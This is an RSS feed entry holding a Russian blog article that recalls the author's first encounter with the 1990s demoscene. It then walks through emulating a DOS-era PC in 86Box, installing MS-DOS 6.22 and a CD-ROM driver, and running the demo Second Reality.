<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Alex Chernyshev</title><generator>teletype.in</generator><description><![CDATA[Очень давно в этом вашем ойти. Видел сеть до интернета, помню интернет без фейсбука.
До сих пор пишу код.
Telegram/VK/LinkedIn/Rutube/Дзен: alex0x08]]></description><image><url>https://img4.teletype.in/files/f2/49/f24940ec-9b03-411b-9a3d-8000564face0.gif</url><title>Alex Chernyshev</title><link>https://blog.0x08.ru/</link></image><link>https://blog.0x08.ru/?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/alex0x08?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/alex0x08?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Wed, 20 May 2026 04:16:25 GMT</pubDate><lastBuildDate>Wed, 20 May 2026 04:16:25 GMT</lastBuildDate><item><guid isPermaLink="true">https://blog.0x08.ru/golden-age-of-demoscene</guid><link>https://blog.0x08.ru/golden-age-of-demoscene?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/golden-age-of-demoscene?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Золото демосцены</title><pubDate>Fri, 17 Apr 2026 15:03:51 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/47/8c/478ceef7-4da3-41b6-9a83-bde012946aa8.png"></media:content><category>it-history</category><description><![CDATA[<img src="https://img3.teletype.in/files/65/07/650701d9-8984-4c0a-8862-6d8f439acdab.gif"></img>То лето далекого 1997 года в маленьком сибирском городке выдалось очень жарким. Шла самая его середина, когда весь азарт длинных школьных каникул успел сойти — бегать по стройкам и купаться в речке надоело, но до нового учебного года было еще далеко.]]></description><content:encoded><![CDATA[
  <p id="JcW9">То лето далекого 1997 года в маленьком сибирском <a href="https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D1%84%D1%82%D0%B5%D1%8E%D0%B3%D0%B0%D0%BD%D1%81%D0%BA" target="_blank">городке</a> выдалось очень жарким. Шла самая его середина, когда весь азарт длинных школьных каникул успел сойти — бегать по стройкам и купаться в речке надоело, но до нового учебного года было еще далеко. </p>
  <p id="UG4s">И пока утопающий в зелени городок тихо изнывал от летней жары, мы изнывали от скуки — трем юным оболтусам, слонявщимся по его улицам было абсолютно нечем заняться. Хотя в тот год случилось много всякого интересного, рассказ пойдет про самое важное событие, серьезно повлиявшее на дальнейшую судьбу и карьеру автора.</p>
  <p id="N3jo">Потому что в то жаркое лето я познакомился с <a href="https://en.wikipedia.org/wiki/Demoscene" target="_blank">демосценой</a>.</p>
  <figure id="qgMV" class="m_column">
    <img src="https://img3.teletype.in/files/65/07/650701d9-8984-4c0a-8862-6d8f439acdab.gif" width="800" />
    <figcaption>С тех самых пор я такой, да.  Слева - знаменитое демо <a href="https://www.pouet.net/prod.php?which=1274" target="_blank">Unreal</a> от Future Crew.</figcaption>
  </figure>
  <h2 id="1Z5Q">История</h2>
  <p id="U3Nr">Слоняясь жарким летом по улицам сибирского городка, мы совершенно случайно набрели на новое для тех мест заведение — компьютерный клуб:</p>
  <blockquote id="tCZz">мрачный подвал, старые побитые PC и Doom, Duke Nukem, первый WarCraft на мониторах и «где вы были с мая по август» — такая строчка в биографии есть практически у всех представителей моего поколения. </blockquote>
  <p id="lwhW">Хотя некоторые конечно скрывают, до сих пор.</p>
  <p id="LCLi">Так бы и закончилась эта история, не успев начаться, на одних только видеоиграх и потерянной молодости, но к счастью (или нет) в том клубе работал ночным администратором один интересный персонаж, назовем его Виталием.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="IFmC">Виталик носил косуху, патлы (неслабый вызов социуму провинциального городка 90х), любил пиво, компьютеры и хеви метал. </p>
  </section>
  <p id="eqwM">А еще он умел доставать всякий разный софт.</p>
  <p id="itqS">Интернета тогда еще не было, по крайней мере у такой школоты как автор, поэтому сам факт наличия залежей свежего <s>вареза</s> софта вызывал определенное восхищение.</p>
  <p id="LG3k">Как-то раз Виталик подозвал нас к своему админскому компу и со словами «зацените пацаны что бывает на свете» запустил какую-то непонятную программу.</p>
  <blockquote id="btsy">Все было на английском, которого никто из нас тогда не знал, по экрану бежали какие-то непонятные надписи, все мигало и переливалось. </blockquote>
  <p id="ZSsa">А затем началось настоящее представление:</p>
  <figure id="rBfv" class="m_column">
    <img src="https://img2.teletype.in/files/57/14/5714bd0d-eed3-4f6b-b05a-577a0bfc823b.gif" width="800" />
    <figcaption>Фрагмент из знаменитого демо &quot;Second Reality&quot;.</figcaption>
  </figure>
  <p id="W9Zf">То что мы увидели в тот день на экране по уровню исполнения превосходило все видеоигры тех лет и даже некоторые киношные спецэффекты.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="phP8">Без аппаратного ускорения, на дохлом, почти убитом железе — одной только <strong>программной</strong> логикой, мастера сцены умудрялись выдавать потрясающие воображение эффекты.</p>
  </section>
  <p id="Dv3r">Это были времена, когда ради производительности приходилось уменьшать разрешение даже в спрайтовом <a href="https://en.wikipedia.org/wiki/Doom_(franchise)" target="_blank">Doom</a>, а для запуска <a href="https://en.wikipedia.org/wiki/Duke_Nukem" target="_blank">Duke Nukem</a> был нужен как минимум первый пентиум, за который всегда была <s>драка</s> очередь.</p>
  <p id="cnsg">А тут вращающиеся трехмерные кубы и <a href="https://ru.wikipedia.org/wiki/%D0%9B%D0%B5%D0%BD%D1%82%D0%B0_%D0%9C%D1%91%D0%B1%D0%B8%D1%83%D1%81%D0%B0" target="_blank">ленты Мебиуса</a>, на 386м!</p>
  <blockquote id="mIeg">Именно после просмотра работ демосцены поменялось мое отношение к компьютерам и программированию — я захотел делать такое же.</blockquote>
  <p id="LTxT">С тех самых лет, пока одноклассники резались по сети в очередную стрелялку или стратегию, автор резался в компиляторы и линковщики. </p>
  <p id="9vxi">Да простят меня любители <a href="https://en.wikipedia.org/wiki/Amiga" target="_blank">Amiga</a>, но рассказ пойдет про период демосцены и работы, которые повлияли в первую очередь лично на автора. Никакой Амиги в <s>пешей</s> доступности у меня тогда не было, зато были 386/486 и первые пентиумы с DOS и Windows.</p>
  <p id="3Gx9">Поэтому показываю в работе <strong>это</strong>:</p>
  <figure id="6ory" class="m_original">
    <img src="https://img2.teletype.in/files/92/1f/921fef99-62cd-4348-9815-7963b8264d65.jpeg" width="1200" />
    <figcaption>Кадры из лучших работ демосцены начала 90х, для PC.</figcaption>
  </figure>
  <p id="ShVZ"><a href="https://en.wikipedia.org/wiki/Windows_95" target="_blank">Windows 95</a>, которая также стояла на клубных компьютерах тех лет не отличалась стабильностью, тормозила <s>как могла</s> и имела проблемы с совместимостью. Поэтому все игры и демо запускались строго под <a href="https://en.wikipedia.org/wiki/MS-DOS" target="_blank">MS-DOS</a>.</p>
  <blockquote id="Hrgf">Так что именно DOS-окружение мы будем сейчас эмулировать.</blockquote>
  <p id="0wtO">Приготовьтесь, ибо дальше вас ждет <strong>очень мощный</strong> заряд ностальгии по тем сказочным временам.</p>
  <h2 id="7TxQ">Эмулируя ностальгию</h2>
  <p id="SDEc">Изначальный план был посетить с тортиком и коробкой дискет <s>логово сектантов</s> знаменитый «Ленинградский Компьютерный Клуб», чтобы запустить и отснять все эти замечательные демо на <em>реальном</em> железе тех лет, коего там в рабочем состоянии весьма немало.</p>
  <p id="6cN0">Но решил, что для широкой аудитории будет интереснее вариант с эмуляцией — все же клуб такой один, а своими силами достать работающий компьютер из 90х стало не так просто.</p>
  <p id="rAqa">Так что эмулируем.</p>
  <figure id="6wx2" class="m_original">
    <img src="https://img3.teletype.in/files/2f/a7/2fa72c45-edce-4feb-93bb-5d7c6d9a9639.png" width="696" />
    <figcaption>Официальное лого эмулятора <a href="https://86box.net/" target="_blank">86Box</a>.</figcaption>
  </figure>
  <h3 id="Neh1">86Box</h3>
  <p id="elrD">И поможет нам в нелегком деле эмуляции компьютерных древностей <a href="https://86box.net/" target="_blank">этот замечательный проект</a>:</p>
  <blockquote id="jeFV"><strong>86Box</strong> is a low level x86 emulator that runs older operating systems and software designed for IBM PC systems and compatibles from 1981 through fairly recent system designs based on the PCI bus.</blockquote>
  <p id="nU4f">Проект очень известный и популярный среди широких масс, поэтому готовые сборки можно найти практически под любую операционную систему и окружение.</p>
  <p id="lhPh">Официальные релизы <a href="https://github.com/86Box/86Box/releases/tag/v5.3" target="_blank">выкладываются на Github</a>, где вы найдете версии для Linux, MacOS и Windows, также 86Box присутствует в виде готового пакета практически во всех дистрибутивах линукса и *BSD.</p>
  <p id="rjo5">Я использовал версию 5.3 под FreeBSD:</p>
  <figure id="bSkw" class="m_column">
    <img src="https://img4.teletype.in/files/74/1e/741e224e-1cae-4690-8eb3-10f129c5fd56.png" width="905" />
    <figcaption>Окно с информацией о версии 86Box.</figcaption>
  </figure>
  <p id="vdaI">Кстати под FreeBSD есть дурацкий прикол с именованием пакета, заставивший вначале собрать эмулятор целиком из исходников:</p>
  <pre id="mj1x" data-lang="bash">pkg install 86Box</pre>
  <p id="sehQ">Название зачем-то сделали с буквой «B» в <strong>верхнем регистре</strong>, поэтому поиском по пакетам ничего не находилось.</p>
  <p id="E0uX">Но не переживайте, это единственная специфика FreeBSD, упомянутая в этой статье и все остальное, описанное ниже применимо для любой ОС, на которой работает эмулятор 86Box.</p>
  <figure id="pIIP" class="m_column">
    <img src="https://img1.teletype.in/files/80/b2/80b2e0a2-e27a-455b-ad12-9e6e9e15aaa4.png" width="1200" />
    <figcaption>Одна из эмулируемых материнских плат <a href="https://theretroweb.com/motherboards/s/gigabyte-ga-586ip" target="_blank">Gigabyte GA-586IP</a>, чип i430NX. Фото с <a href="https://auctions.yahoo.co.jp/jp/auction/x1045428035" target="_blank">аукциона</a>.</figcaption>
  </figure>
  <h2 id="bbGv">Виртуальное железо</h2>
  <p id="dtj8">Наверное сейчас открою <a href="https://ru.wikipedia.org/wiki/%D0%AF%D1%89%D0%B8%D0%BA_%D0%9F%D0%B0%D0%BD%D0%B4%D0%BE%D1%80%D1%8B" target="_blank">ящик Пандоры</a> и получу в свой адрес сотни лучей ненависти от жен, не понимающих почему их благоверный залипает в компьютере вторую неделю, <s>месяц, год</s>, но тем не менее:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Ddmf">86Box — фактически конструктор-тамагочи для любителей старого железа, поскольку поддерживает невообразимое разнообразие оборудования.</p>
  </section>
  <p id="SkE4">Обычно эмулируется один-два, максимум десяток различных устройств, чего вполне хватает для работы с виртуальными ОС.</p>
  <p id="ZXaK">Но ребята из 86Box пошли гораздо дальше — тут эмулируются натурально <strong>сотни</strong> разнообразных железок. </p>
  <p id="zOao">Причем при выборе неправильной комбинации оборудования, 86Box ведет себя точно также как реальный компьютер 90х:</p>
  <blockquote id="YAeT">пищит спикером, глючит и <s>обсирается</s> перезагружается </blockquote>
  <p id="t6VD">Впрочем смотрите сами, в качестве примера, вот так выглядят поддерживаемые сокеты:</p>
  <figure id="yEHM" class="m_column">
    <img src="https://img4.teletype.in/files/b6/b0/b6b07619-c32b-4f57-b1e8-29ec32ab65cf.png" width="1218" />
    <figcaption>Весь набор, натурально <strong>все</strong> гнезда с 1979 по 1998 годы!</figcaption>
  </figure>
  <p id="3DAH">А так эмулируемые <em>материнские платы</em>, причем наборы <strong>разные</strong> для разных сокетов:</p>
  <figure id="wPtM" class="m_column">
    <img src="https://img2.teletype.in/files/d7/35/d735571c-35cb-4c40-8bf9-09e8017d164e.png" width="960" />
    <figcaption>В квадратных скобках тип сокета, все названия - <strong>настоящие</strong> и находятся поиском в сети.</figcaption>
  </figure>
  <p id="aWjt">Но это еще не все, ниже список эмулируемых.. контроллеров дисков:</p>
  <figure id="tXoU" class="m_column">
    <img src="https://img2.teletype.in/files/5c/70/5c70a04b-bde6-4c6e-a16e-58b516db1104.png" width="1226" />
    <figcaption>Я не упомянул, что это только IDE? Рядом еще один набор для SCSI тех лет. Авторы 86Box любят разнообразие.</figcaption>
  </figure>
  <p id="6WEZ">Все модели (кроме универсальных) — вполне реальные, так например выглядит в живую контроллер «Western Digital WDXT-GEN», присутствующий в списке:</p>
  <figure id="vupj" class="m_column">
    <img src="https://img1.teletype.in/files/06/3b/063b1d10-30a8-4488-ba10-cd0ca208230a.jpeg" width="3279" />
    <figcaption>Хотя плата из 1999 года, сохранилась она отменно. Фото <a href="https://theretroweb.com/expansioncards/s/western-digital-wdxt-gen" target="_blank">отсюда</a>.</figcaption>
  </figure>
  <p id="VMAx">Чтобы окончательно добить нежную психику читателей, показываю как выглядит набор поддерживаемых дисков:</p>
  <figure id="6Uwh" class="m_column">
    <img src="https://img3.teletype.in/files/6b/d4/6bd4b704-1b77-401b-a4f1-6fb99d0f012c.gif" width="800" />
    <figcaption>Влезло не все, поскольку моделей <strong>очень</strong> много.</figcaption>
  </figure>
  <p id="1Td0">Фактически столь богатый выбор позволяет снова поиграть в замечательную игру времен школьной молодости автора:</p>
  <blockquote id="SGSO">воткни новую железку в компьютер и посмотри что произойдет.</blockquote>
  <p id="bibp">Только на этот раз будет без запаха сгоревшей электроники.</p>
  <figure id="abxC" class="m_column">
    <img src="https://img3.teletype.in/files/23/1f/231f8be1-46f7-40bb-bd59-e09e6e84a107.jpeg" width="1600" />
    <figcaption>Материнская плата для 486го, фото с <a href="https://aukro.cz/zakladni-deska-ap43-intel-i486-dx2-66mhz-socket-3-2x-ram-zdroj-7047970456" target="_blank">аукциона</a>. </figcaption>
  </figure>
  <p id="eNp8">Но тамагочи-эмулятора для бородатых инженеров мне показалось мало, поэтому сейчас будет еще больше ностальгических слез: </p>
  <blockquote id="c72h">показываю полную установку MS-DOS 6.22 — той самой последней «настоящей» версии, еще не прибитой гвоздями к Windows.</blockquote>
  <p id="Hio3">На <a href="https://en.wikipedia.org/wiki/MS-DOS#MS-DOS_7/8_(as_part_of_Windows_9x)" target="_blank">версии 7.0</a>, включенной в состав Windows сказка закончилась и DOS из операционной системы стал превращаться в черное окно с терминалом.</p>
  <p id="ZODe"></p>
  <figure id="LFPa" class="m_column">
    <img src="https://img4.teletype.in/files/38/ca/38ca4950-0382-4057-8e44-238221183ea9.jpeg" width="900" />
    <figcaption>Так выглядят оригинальные флоппи-диски с MS-DOS 6.22. <a href="https://www.hkepc.com/forum/viewthread.php?fid=221&tid=2728116&page=1" target="_blank">Отсюда</a>.</figcaption>
  </figure>
  <h2 id="TPEJ">Ставим MS-DOS</h2>
  <p id="hCUj">Разумеется давно существует куча готовых «васянских» сборок и образы загрузочных дискет с DOS самого разнообразного качества и наполнения, взять некоторые можно например <a href="http://old-dos.ru/files/file_64.html" target="_blank">отсюда</a>.</p>
  <p id="jY6g">Но ради ностальгии решил все же описать шаги по установке с нуля, чтобы вы могли своими глазами узреть <strong>это</strong>:</p>
  <figure id="RJeH" class="m_column">
    <img src="https://img4.teletype.in/files/3f/51/3f5175a6-39ee-4b7e-96ea-3ff09982da50.png" width="1070" />
    <figcaption>Финальный экран установки MS-DOS. </figcaption>
  </figure>
  <p id="j8iY">Так что раздел ниже — для самых отъявленных фанатов <s>кинематографа</s>, остальные могут прокрутить до запуска самих демо.</p>
  <p id="CnMj">Упреждая возможные вопросы на тему <s>вареза</s> лицензионности: </p>
  <blockquote id="aPdG">на сегодняшний день все старые версии MS-DOS официально считаются «abandonware» — заброшенным ПО, дистрибутивы которого <a href="http://old-dos.ru//index.php?page=files&mode=files&do=list&cat=201" target="_blank">находятся в свободном доступе</a>. </blockquote>
  <p id="iijJ">Поэтому никаких юридических последствий от «неправомерного использования» не будет.</p>
  <p id="uMcz">Автор использовал оригинальную английскую версию Microsoft MS-DOS 6.22, взяв образ дискет <a href="https://archive.org/details/msdos-622" target="_blank">отсюда</a>. Необходимо скачать три IMG-файла с образами оригинальных дискет, первый из которых является загрузочным а остальные два потребуются в процессе установки. </p>
  <h3 id="1eHG">Подготовка виртуальной машины</h3>
  <p id="oqt8">Запускаем эмулятор 86Box, нажимаем большую кнопку «New Machine», задаем имя и в диалоге настройки выбираем следующую конфигурацию (первая вкладка «Machine»):</p>
  <figure id="Ebh6" class="m_original">
    <img src="https://img1.teletype.in/files/89/0c/890c07aa-3a91-4061-9024-b92b0b9bdb4c.png" width="604" />
    <figcaption>Да, ваша любимая компания ASUS когда-то давно делала платы для 486х.</figcaption>
  </figure>
  <p id="HWyO">На вкладке «Video» выбираем:</p>
  <figure id="MYto" class="m_original">
    <img src="https://img4.teletype.in/files/39/4d/394d151a-1a04-4140-a547-3c16b20dce0a.png" width="515" />
  </figure>
  <p id="QrGG">Дальше, вкладка «Storage controllers»:</p>
  <figure id="v9sZ" class="m_original">
    <img src="https://img1.teletype.in/files/40/5a/405ac062-15da-42f0-b7f7-a4981a4d0d5d.png" width="534" />
  </figure>
  <p id="5vET">Затем там же ниже:</p>
  <figure id="PnDb" class="m_original">
    <img src="https://img1.teletype.in/files/88/eb/88ebc400-defe-43c0-9f6b-5e8aabacba6d.png" width="501" />
  </figure>
  <p id="ESbt">На вкладке «Hard disks» нажимаем «New» и задаем следующие параметры:</p>
  <figure id="5uyy" class="m_original">
    <img src="https://img4.teletype.in/files/fc/02/fc021b23-324f-454d-b24c-a496ee27dd1d.png" width="479" />
    <figcaption>Диск на моем первом домашнем компьютере был как раз в 120Мб.</figcaption>
  </figure>
  <p id="1LlB">На следующей вкладке «Floppy &amp; CD-ROM drives» переключаем тип флоппи с <code>360К</code> на <code>1.44M</code> и включаем устройство <code>CD-ROM</code> с интерфейсом <code>ATAPI</code>:</p>
  <figure id="pwWa" class="m_original">
    <img src="https://img3.teletype.in/files/eb/70/eb70d821-8539-4a2b-bc7a-6a88734ca726.png" width="601" />
    <figcaption>Обратите внимание на поле Channel - 0:1 означает что CD-ROM будет подключен как slave, а диск (0:0) будет master.</figcaption>
  </figure>
  <p id="niJQ">Сохраняем настройку, запускаем эмулируемую машину и.. немедленно получаем мощный заряд ностальгии:</p>
  <figure id="fc7v" class="m_column">
    <img src="https://img2.teletype.in/files/1c/ce/1cce47f0-328e-4d30-9a56-e13f5c247d61.gif" width="800" />
    <figcaption>Эта картинка выбьет скупую слезу из каждого бородатого мужика, заставшего компьютеры 90х.</figcaption>
  </figure>
  <p id="DSO9">Жмем <code>Del</code> и попадаем в самое известное компьютерное меню на свете:</p>
  <figure id="lHQq" class="m_column">
    <img src="https://img4.teletype.in/files/3f/e6/3fe67e5f-15b4-4dd8-b0ce-76b0cd15eb3a.png" width="1077" />
    <figcaption>Меню, которое хоть раз видели <strong>все</strong> пользователи компьютеров со стажем.</figcaption>
  </figure>
  <p id="IqIx">Что делать дальше думаю известно любому олдфагу, поэтому описание ниже специально для юных <s>теле</s>зрителей:</p>
  <blockquote id="Y0cS">Переходим в раздел «IDE HDD AUTO DETECTION» и нажимаем 1, затем выходим из раздела и нажимаем SAVE &amp; EXIT SETUP»</blockquote>
  <p id="iqGF">Затем надо открыть раздел «BIOS FEATURES SETUP» и выставить значение поля «Boot Sequence» в <code>A,C</code> вместо <code>С,A</code> — для того чтобы первым для загрузки выбирался флоппи, а не жесткий диск:</p>
  <figure id="ywFX" class="m_column">
    <img src="https://img2.teletype.in/files/9b/4d/9b4d3796-b0ea-4edf-8949-2f32bfc0b8a8.png" width="1074" />
    <figcaption>Задолго до этого вашего UEFI.</figcaption>
  </figure>
  <p id="AJFj">Теперь при запуске должен обнаруживаться наш виртуальный диск под буквой С:</p>
  <figure id="VZgD" class="m_column">
    <img src="https://img2.teletype.in/files/db/de/dbde8a40-8ab2-4b82-8e4a-7e4e0b95228b.png" width="1085" />
  </figure>
  <p id="s4IF">Теперь в меню «Media→Floppy 1→Existing image…» выбираем образ первой дискеты из установочного набора MS-DOS 6.22 и перезагружаем наш виртуальный PC:   </p>
  <figure id="zkG8" class="m_original">
    <img src="https://img3.teletype.in/files/6d/47/6d477f3f-4ec1-4219-8410-c71c8768e9f1.png" width="1080" />
  </figure>
  <p id="snr2">Теперь при запуске должно появиться сообщение «Starting MS-DOS…»</p>
  <p id="ggXK">Через какое-то время появится диалог установки, ключевые элементы которого дожили до наших дней и сохранились в современных версиях инсталлятора Windows:</p>
  <figure id="GDZx" class="m_column">
    <img src="https://img4.teletype.in/files/bf/26/bf262b2c-1b5e-49df-92e9-8ef694766261.png" width="1078" />
  </figure>
  <p id="Tiw4">Поскольку это виртуальная машина с единственным диском, думать особо не надо — просто жмете <code>Enter</code>, как в школьные годы.</p>
  <p id="74c1">Инсталлятор попросит перезагрузиться и если вы правильно выбрали в биосе последовательность <code>A,C</code> (см. выше), после перезагрузки запустится форматирование:</p>
  <figure id="r5UW" class="m_column">
    <img src="https://img2.teletype.in/files/9d/e4/9de46323-c499-4901-90da-53b4b8148a8f.png" width="1078" />
  </figure>
  <p id="PqFY">А еще через несколько скучных экранов наконец начнется установка:</p>
  <figure id="QxTo" class="m_column">
    <img src="https://img3.teletype.in/files/6a/04/6a04732d-9395-4b03-807e-4bc28fc96d1f.png" width="1069" />
  </figure>
  <p id="InHE">В какой-то момент инсталлятор попросит вставить вторую а затем и третью дискеты:</p>
  <figure id="GJlC" class="m_column">
    <img src="https://img2.teletype.in/files/53/63/53631338-f0bd-40de-814f-b132599aae81.png" width="1077" />
  </figure>
  <p id="VKMK">После финальной перезагрузки вы наконец увидите ту самую «страшную черную консоль»:</p>
  <figure id="yZ1Z" class="m_column">
    <img src="https://img1.teletype.in/files/0b/c6/0bc6b973-2f76-41db-b514-22dc6314b5da.png" width="1075" />
  </figure>
  <p id="Xr49">Только на этот раз не в отдельном окне с крестиком в углу, а целиком на экране.</p>
  <h2 id="2cEc">История с CD-ROM</h2>
  <p id="r4kB">Самые крутые и красивые демо внезапно оказались большими (по тогдашним меркам) и на дискету уже не влезали, что усложнило задачу их переброски внутрь работающего эмулятора с DOS.</p>
  <p id="MSf5">Но поскольку 86Box поддерживает отображение каталогов хоста в виде образа виртуального CD-ROM-диска, было решено это использовать.</p>
  <p id="VTO7">Для чего было оставалось сделать только самую малость:</p>
  <blockquote id="ROeb">установить драйвер CD-ROM в MS-DOS.</blockquote>
  <p id="SPvu">На самом деле для MS-DOS давно есть даже поддержка TCP/IP и можно без особых проблем <a href="https://felsqualle.com/posts/2023/08/connecting-ms-dos-to-the-internet-and-the-fediverse/" target="_blank">вывести старушку в интернет</a>, но размер статьи не резиновый, поэтому опишу сей интересный процесс как-нибудь в другой раз. </p>
  <p id="6ViT">Скачиваем <a href="http://old-dos.ru/files/file_416.html" target="_blank">образ дискеты</a> с драйвером (вторая ссылка сверху), подключаем в эмуляторе через меню «Media→Floppy 1»:</p>
  <figure id="ngG1" class="m_original">
    <img src="https://img4.teletype.in/files/f2/17/f21751bc-c86b-4213-86b1-6af38e475d5e.png" width="1451" />
  </figure>
  <p id="ssDM">Переходим на диск <code>A:</code> где должно быть вот такое содержимое:</p>
  <figure id="PkdS" class="m_column">
    <img src="https://img3.teletype.in/files/65/fd/65fdb8bd-7769-48db-a775-75d6fbee3528.png" width="1088" />
  </figure>
  <p id="0Wsb">Запускаем <code>SETUP.BAT</code> (не <code>SETUP.EXE</code>!):</p>
  <figure id="QcRj" class="m_column">
    <img src="https://img3.teletype.in/files/e2/86/e28683ce-8bea-466a-975f-1cb05607b950.png" width="1088" />
  </figure>
  <p id="wcdC">Перезагружаем систему, теперь при запуске будет происходить инициализация драйвера и добавится новый том с буквой <code>D:</code> , ответственной за наш виртуальный CD-ROM:</p>
  <figure id="dfq7" class="m_column">
    <img src="https://img3.teletype.in/files/29/be/29be9be9-43f8-4290-8d97-7a5c89af5e3a.png" width="1088" />
  </figure>
  <p id="Bl6J">Следующим шагом в меню «Media→CD-ROM 1» выбираем «Folder…» и указываем путь к каталогу на хосте, который будет эмулироваться для MS-DOS в виде виртуального CD-ROM: </p>
  <figure id="uJHA" class="m_original">
    <img src="https://img1.teletype.in/files/c2/89/c28944a1-796a-408f-81f0-7fc6e8ebc6ef.png" width="1183" />
  </figure>
  <p id="4sQq">Стоит напомнить читателям про кучу <strong>ограничений</strong> файловых систем тех лет:</p>
  <blockquote id="Y9rV">длина имени, кодировки, количество вложенных каталогов, размер файлов и так далее.</blockquote>
  <p id="z9Fp">Так что подключаемый каталог должен содержать только то, что вы собираетесь перебрасывать в MS-DOS, не стоит подключать домашний каталог целиком или папку «Мои документы». </p>
  <p id="rkn9">Кстати подключается каталог в режиме «только для чтения», поэтому записать что-либо со стороны DOS таким способом не выйдет.</p>
  <p id="yVMb">Так выглядит содержимое подключенного каталога с демками:</p>
  <figure id="KEhw" class="m_column">
    <img src="https://img4.teletype.in/files/7e/e9/7ee9df4e-79c3-4611-9c1c-eb3a71af2bd4.png" width="1088" />
  </figure>
  <p id="oC1i">Теперь наконец можно запускать лучшие работы из золотого фонда демосцены. Лично и своими руками.</p>
  <h3 id="V5vx">Norton Commander</h3>
  <p id="JEIW">Работа в голой консоли (особенно после нового Mac) может показаться не очень комфортной, поэтому даже в те далекие годы <s>ушлые юзеры</s> нормальные пользователи использовали специальный файловый менеджер — <a href="https://en.wikipedia.org/wiki/Norton_Commander" target="_blank">Norton Commander</a>.</p>
  <blockquote id="sIqq">Из которого затем вырастут всем известные Far Manager и Midnight Commander.</blockquote>
  <p id="78WO">Norton Commander ныне также считается заброшенным, поэтому его дистрибутивы спокойно находятся в интернете. Классическую версию 5.5 под MS-DOS можно взять <a href="http://old-dos.ru/files/file_1458.html" target="_blank">тут</a>.</p>
  <p id="VYbF">Так выглядит процесс установки:</p>
  <figure id="SUXj" class="m_column">
    <img src="https://img2.teletype.in/files/d4/fc/d4fc4e01-f387-4bd9-92c4-142345364b34.gif" width="800" />
    <figcaption>Записал в динамике специально ради усиления ностальгии.</figcaption>
  </figure>
  <p id="tMeS">Теперь наконец переходим к самим демо.</p>
  <figure id="07gN" class="m_original">
    <img src="https://img3.teletype.in/files/2c/d9/2cd94123-78aa-4613-bb03-3c8b4f07af34.jpeg" width="1200" />
    <figcaption>Нарезка лучших сцен, но не забывайте что все это гораздо лучше смотреть в динамике.</figcaption>
  </figure>
  <h2 id="2jqi">Second Reality</h2>
  <p id="X0k8"><a href="https://www.pouet.net/prod.php?which=63" target="_blank">https://www.pouet.net/prod.php?which=63</a></p>
  <p id="YUec">Первое место на <a href="https://www.pouet.net/party.php?which=7&when=1993" target="_blank">Assembly 1993</a>, <a href="https://www.youtube.com/watch?v=L33eQfT72yo" target="_blank">тут</a> запись в виде ролика.</p>
  <p id="y4lg">Из отзывов:</p>
  <blockquote id="6E4V">I&#x27;d almost call it the godfather of all demo&#x27;s, revolutionary for its time.</blockquote>
  <p id="PL9v">Наверное самая знаменитая работа команды <a href="https://en.wikipedia.org/wiki/Future_Crew" target="_blank">Future Crew</a>, созданная в далеком 1993 м году, которая до сих пор находится в топе демосцены всех времен. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="roIh">Именно с этой работы началось мое знакомство с демосценой.</p>
  </section>
  <p id="koYk">Первые кадры заставки:</p>
  <figure id="IPXa" class="m_column">
    <img src="https://img2.teletype.in/files/55/1a/551a19bf-010d-434a-b4e7-ff6e545a24b6.gif" width="800" />
  </figure>
  <p id="rqwp">Скачиваем <a href="https://files.scene.org/view/parties/1993/assembly93/demo/2nd_real.zip" target="_blank">архив</a> и распаковываем в ту самую папку, которую мы монтировали в эмулируемую машину как виртуальный CD-ROM.</p>
  <p id="gvmM">Со стороны запущенной машины с DOS должно выглядеть как-то так: </p>
  <figure id="5fyH" class="m_column">
    <img src="https://img3.teletype.in/files/ac/6f/ac6f8319-2113-4084-abc3-c9a7e4a7e8d8.png" width="1088" />
  </figure>
  <p id="ugP9">Наконец вводим заветное <code>SECOND.EXE</code> и.. немедленно обламываемся:</p>
  <figure id="zSkk" class="m_column">
    <img src="https://img1.teletype.in/files/8a/fa/8afa455e-ae88-4642-8614-714e3ba362f0.png" width="1088" />
    <figcaption>Вы же не думали, что все будет настолько просто?</figcaption>
  </figure>
  <p id="Xest">Дело в том, что в MS-DOS существовало жесткое <a href="https://www.vogonswiki.com/index.php/DOS_memory_management" target="_blank">разделение памяти по уровням</a>, конкретно «Conventional Memory», на которую ссылается сообщение выше это первые 640Кб.</p>
  <p id="82zx">Запускаем команду <code>mem</code> и видим что какая-то сволочь действительно отъела память, причем из тех самых <s>сладких</s> первых 640Кб:</p>
  <figure id="qi8K" class="m_column">
    <img src="https://img3.teletype.in/files/62/04/620462ae-652c-405d-aef0-9f4d223b04f3.png" width="1088" />
  </figure>
  <p id="aYWO">Виновник на чистой системе ровно один — драйвер CD-ROM, который мы устанавливали выше и чтобы решить проблему, необходимо сделать так чтобы он не занимал память.</p>
  <p id="lw22">Для чего надо немного поправить конфиг, конфиг для DOS да.</p>
  <p id="qvDC">Вводим:</p>
  <pre id="tuqh" data-lang="shell">edit config.sys</pre>
  <p id="ZXf7">Запустится знаменитый классический <a href="https://learn.microsoft.com/en-us/windows/edit/" target="_blank">редактор Edit</a>, который присутствует в операционных системах Microsoft до сих пор:</p>
  <figure id="4d68" class="m_column">
